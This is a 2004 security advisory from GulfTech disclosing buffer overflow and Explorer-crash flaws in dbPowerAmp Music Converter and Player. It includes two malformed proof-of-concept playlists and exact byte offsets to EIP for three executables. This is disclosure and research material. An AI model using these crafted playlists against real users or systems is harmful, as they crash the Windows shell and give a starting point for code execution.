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dbPowerAmp Buffer Overflow And Dos Vulnerabilities
From: "GulfTech Security" <security () gulftech org>
Date: Fri, 1 Oct 2004 05:22:28 -0500

##########################################################
# GulfTech Security Research         September 27th, 2004
##########################################################
# Vendor  : Illustrate
# URL     : http://www.dbpoweramp.com
# Version : dbPowerAmp Music Converter 10.0 && Player 2.0
# Risk    : Arbitrary Code Execution && DoS
##########################################################

Description:
Often called the Swiss Army knife of audio, dMC can digitally 
rip sound from audio CDs to a multitude of formats. Convert 
from one format to another while preserving ID tags. Nearly 
every audio type is supported, including MP3, MP4, Windows Media 
Audio (WMA), OGG Vorbis, AAC, Monkey's Audio, and FLAC (with 
optional installs from Codec Central). For Windows Explorer 
integration, right-click Convert To to pop up useful information 
on audio files (such as bit rate and length). Record from LPs with 
an optional Auxiliary Input install. dBpowerAmp Audio Player (dAP) 
has a digital conditioning equalizer and an advanced music 
collection. It's skinnable and has a cross-fader, a playlist 
editor, and a tag editor. dAP plays MP3s, WMA, Ogg Vorbis, Monkeys 
Audio, Real Audio, WAV, MIDI, and many more.



Arbitrary Code Execution:
Both the very popular dbPowerAmp Music Converter application, as
well as the dbPowerAmp Player are prone to buffer overflow conditions.
These issues affect current and earlier versions of the dbPowerAmp
Player and Music Converter. In my research I have only tested the
vulnerabilities with .pls and .m3u playlists, but I think the same
issues are probably present with other file types as well as other
dbPowerAmp applications. The Music Converter application allocates 
a 215 byte buffer for the file name within the playlist. By opening 
a playlist like the one below will overflow this buffer and overwrite
EIP with \x42\x42\x42\x42

[playlist]
NumberOfEntries=1
File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB
Title1=GulfTech dbPowerAmp Music Converter POC
Length1=-1

The same issue applies to the player and playlist editor, however
the buffer length with those applications (both are included with 
the player, not the converter) is not 215 bytes, but 265 bytes. So
in short

MusicConverter.exe 215 bytes To EIP
playlist.exe 265 bytes to EIP
amp.exe 265 bytes to EIP

I believe these buffer overflow vulnerabilities to be the result of
an unsafe strncmp() but I could be wrong ;) The same buffer overflow 
condition can also present itself when loading .mcc files which are 
the dbPowerAmp Music Collection files. There is also a pretty bad Denial 
Of Service condition that can happen with dbPowerAmp Music Converter 
that I will talk about next.



Denial of Service:
dbPowerAmp Music Converter has an option to integrate into the Windows
shell. As a longtime dbPowerAmp Music Converter user I do find this 
feature very helpful, but it can also allow for an attacker to crash
the Windows shell by sending them a malformed playlist. They do not 
have to open the playlist or anything, just mouseover it. I tested this
issue on Windows XP SP1 Fully Patched. To see this issue in action just
use the following example playlist and mouse over it.

[playlist]
NumberOfEntries=1
File1=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Title1=GulfTech dbPowerAmp Music Converter Crash POC
Length1=-1

The large filename entry in the playlist will overwrite EDI
with junk and then cause an access violation. This will then
cause explorer to crash.



Note:
Remember, the examples above are wrapped for readability. If
you want to use them to test if you are vulnerable then you
should remove all of the newlines in the file name.



Solution:
The developer said that they would address these issues, but
do not consider them high priority. Hmm, code execution via
a malformed file is definitely not low priority in my book.



Related Info:
The original advisory can be found at the following location 
http://www.gulftech.org/?node=research&article_id=00052-09272004



Proof Of Concept:
http://www.gulftech.org/downloads/?file_id=00022
Working exploit code may be released soon, but not at the moment 
due to time constraints. 



Credits:
James Bercegay of the GulfTech Security Research Team


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